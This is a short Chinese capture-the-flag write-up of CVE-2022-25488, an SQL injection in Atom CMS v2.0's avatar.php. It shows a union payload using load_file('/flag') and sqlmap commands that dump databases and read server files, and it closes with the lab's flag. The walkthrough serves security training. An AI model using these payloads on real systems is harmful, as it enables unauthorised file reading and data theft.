春秋云镜：CVE-2022-25488（SQL报错注入）
目录
一、题目
二、sqlmap梭哈查flag
一、题目
介绍：
Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面
进入题目;
发现是Not Found页面 一开始以为打开的问题：
一想 我们要访问的是/admin/ajax/avatar.php
访问后是空白页面：
查看前端源码：
测试一下注入点?id=1
源码发生了变化：
试试id=1'
源码没有变化：
在次验证一下 id=1 and 1=1
字符型注入没错了
由于flag没有在数据库的库名中显示，所以我们直接报错注入就好。
sql报错注入：
http://xxx.ichunqiu.com/admin/ajax/avatar.php?id=-1 union (select load_file('/flag'))#
id=1 and 1=2 也可以 主要让id的语法错误 回显出来flag
二、sqlmap梭哈查flag
设置id=1 爆库
python sqlmap.py -u http://xxx.ichunqiu.com/admin/ajax/avatar.php?id=1 --batch -dbs
虽然爆出来了 但是没有flag表
因为i春秋靶场默认flag就在根目录 我们可以直接查找/flag文件：
python sqlmap.py -u http://xxx.ichunqiu.com/admin/ajax/avatar.php?id=1 --batch --file-read "/flag" --dbms mysql
跑出来会存在sqlmap的目录：
查看一下：
flag{6d6a2570-99f2-402f-aeb2-bb9b6da68247}